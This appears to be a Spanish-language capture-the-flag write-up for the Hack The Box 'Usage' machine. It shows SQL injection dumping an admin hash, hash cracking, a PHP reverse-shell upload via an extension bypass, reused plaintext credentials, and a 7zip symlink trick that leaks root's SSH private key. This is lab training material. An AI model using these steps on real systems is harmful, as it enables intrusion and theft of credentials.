Post

Usage

Usage es una máquina Linux fácil de manejar que presenta un sitio de blog vulnerable a inyecciones SQL, lo que permite extraer y descifrar la contraseña cifrada del administrador. Esto lleva al acceso al panel de administración, donde se explota un módulo desactualizado de Laravel para subir un web shell PHP y obtener ejecución remota de código. En la máquina, las credenciales en texto plano almacenadas en un archivo permiten el acceso SSH como otro usuario, quien puede ejecutar un binario personalizado como root. La herramienta realiza una llamada insegura a 7zip, lo que se aprovecha para leer la clave SSH privada del usuario root y comprometer completamente el sistema.

Usage

Information Gathering

1
2
3
4
5
6
7
8
9
10
/home/kali/Documents/htb/machines/usage:-$ sudo nmap -sS -sC -sV 10.10.11.18 
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 a0:f8:fd:d3:04:b8:07:a0:63:dd:37:df:d7:ee:ca:78 (ECDSA)
|_  256 bd:22:f5:28:77:27:fb:65:ba:f6:fd:2f:10:c7:82:8f (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://usage.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

1
/home/kali/Documents/htb/machines/usage:-$ echo '10.10.11.18\tusage.htb\tadmin.usage.htb' > sudo tee -a /etc/hosts
1
2
3
4
5
/home/kali/Documents/htb/machines/usage:-$ dirb http://usage.htb/ /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt

+ http://usage.htb/login (CODE:200|SIZE:5141)
+ http://usage.htb/registration (CODE:200|SIZE:5112)
+ http://usage.htb/logout (CODE:302|SIZE:334)

Web Analysis & Vulnerability Exploitation

Luego de unas pruebas, encuentro que la direccion ‘/forget-password’ es vulnerable a SQL injection Blind.

Utilizo Sqlmap para enumerar la base de datos.

1
/home/kali/Documents/htb/machines/usage:-$ sudo sqlmap -r request.txt -p email --level 5 --risk 3 --threads 10 -D database_name --tables

Y logro encontrar un hash que le pertenece al usuario ‘administrator’.

1
2
3
4
5
6
7
8
9
10
11
12
/home/kali/Documents/htb/machines/usage:-$ sudo sqlmap -r request4.txt  -p email --dbms=mysql --level=3 --risk=3 --technique=BUT -v 7 --batch -D usage_blog -T admin_users --dump --threads 3
[INFO] retrieved: admin
[DEBUG] performed 40 queries in 67.10 seconds
[DEBUG] analyzing table dump for possible password hashes
Database: usage_blog
Table: admin_users
[1 entry]
+--------------------------------------------------------------+----------
| id | name   | avatar  | password   | username | created_at     | updated_at   | remember_token      

|1|Administrator|<blank>|$2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2|admin|2023-08-13 02:48:26|2024-05-30 22:06:55|kThXIKu7GhLpgwStz7fCFxjDomCYS1SmPpxwEkzv1Sdzva0qLYaDhllwrsLT|
+--------------------------------------------------------------+----------
1
2
3
4
5
6
7
/home/kali/Documents/htb/machines/usage:-$ echo '$2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2' > hash

/home/kali/Documents/htb/machines/usage:-$ hashcat --show hash
3200  | bcrypt $2*$, Blowfish (Unix)                    | Operating System

/home/kali/Documents/htb/machines/usage:-$ hashcat -a 0 -m 3200 hash /usr/share/wordlists/rockyou.txt
$2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2:whatever1

Consigo logearme como administrador.


CVE Exploitation

Analizando la pagina encuentro que la version de laravel es vulnerable, CVE-2023-24249.

https://nvd.nist.gov/vuln/detail/CVE-2023-24249

Por tanto puedo insertar una reverse shell.

https://pentestmonkey.net/tools/web-shells/php-reverse-shell

Solo permite subir un archivo de imagen a la web. Por lo que los pasos a seguir, son:

  • Cambiar la extencion de la reverse shell de .php a .jpg

  • Me pongo a la escucha con Netcat por dos puertos distintos (la conexion por la shell no durara mucho tiempo, por lo que tengo que establecer otra conexion por un puerto distinto).

  • Subo la shell e intercepto la peticion ‘POST’ con Burp Suite, para cambiar manualmente la extenccion a .php.

  • Devuelvo la peticion manipulada y navego donde esta alojada la shell ‘http://admin.usage.htb/uploads/img/injection.php’ para ejecutarla.

  • Finalmente recibo la conexion por el puerto 1234 y rapidamente creo una nueva conexion mas estable por el puerto 4444.

1
2
3
/home/kali/Documents/htb/machines/usage:-$ mv injection.php injection.jpg
/home/kali/Documents/htb/machines/usage:-$ nc -lnvp 1234
/home/kali/Documents/htb/machines/usage:-$ nc -lnvp 4444

1
dash@usage:~$ cat user.txt

Privilege Escalation

En el archivo ‘.monitrc’ encuentro credenciales para el usuario ‘xander’

1
2
3
4
5
6
7
8
dash@usage:~$ cat .monitrc
	Enable Web Access
	set httpd port 2812
     use address 127.0.0.1
     allow admin:3nc0d3d_pa$$w0rd

/home/kali/Documents/htb/machines/usage:-$ ssh xander@10.10.11.18
xander@10.10.11.18's password: 3nc0d3d_pa$$w0rd

El usario ‘xander’ puede ejecutar el comando ‘/usr/bin/usage_management’ como ‘sudo’.

1
xander@usage:~$ sudo -l

1
2
3
4
5
6
xander@usage:~$ sudo /usr/bin/usage_management
	Choose an option:
	1. Project Backup
	2. Backup MySQL data
	3. Reset admin password
	Enter your choice (1/2/3): 1

Me muevo al directorio ‘/var/www/html’ y creo un archivo vacio llamado ‘@id_rsa’

1
xander@usage:/var/www/html$ touch @id_rsa

Con ‘id_rsa’ creo un enlace simbólico en el directorio actual que apunta al archivo ‘/root/.ssh/id_rsa’. Esto significa que cualquier acceso al archivo ‘id_rsa’ en ‘/var/www/html’ se redirige al archivo real ubicado en ‘/root/.ssh/id_rsa’.

1
2
xander@usage:/var/www/html$ ln -s /root/.ssh/id_rsa id_rsa
xander@usage:/var/www/html$ sudo /usr/bin/usage_management

1
2
3
4
5
6
7
8
9
10
kali/home/kali/Documents/htb/machines/usage:-$ nano id_rsa
	-----BEGIN OPENSSH PRIVATE KEY-----
	b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
	QyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3QAAAJAfwyJCH8Mi
	QgAAAAtzc2gtZWQyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3Q
	AAAEC63P+5DvKwuQtE4YOD4IEeqfSPszxqIL1Wx1IT31xsmrbSY6vosAdQzGif553PTtDs
	H2sfTWZeFDLGmqMhrqDdAAAACnJvb3RAdXNhZ2UBAgM=
	-----END OPENSSH PRIVATE KEY-----
	
kali/home/kali/Documents/htb/machines/usage:-$ chmod 600 id_rsa
1
2
3
4
kali/home/kali/Documents/htb/machines/usage:-$ ssh -i id_rsa root@10.10.11.18
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-101-generic x86_64)

root@usage:~# cat /root/root.txt

https://www.hackthebox.com/achievement/machine/1521382/597

This post is licensed under CC BY 4.0 by the author.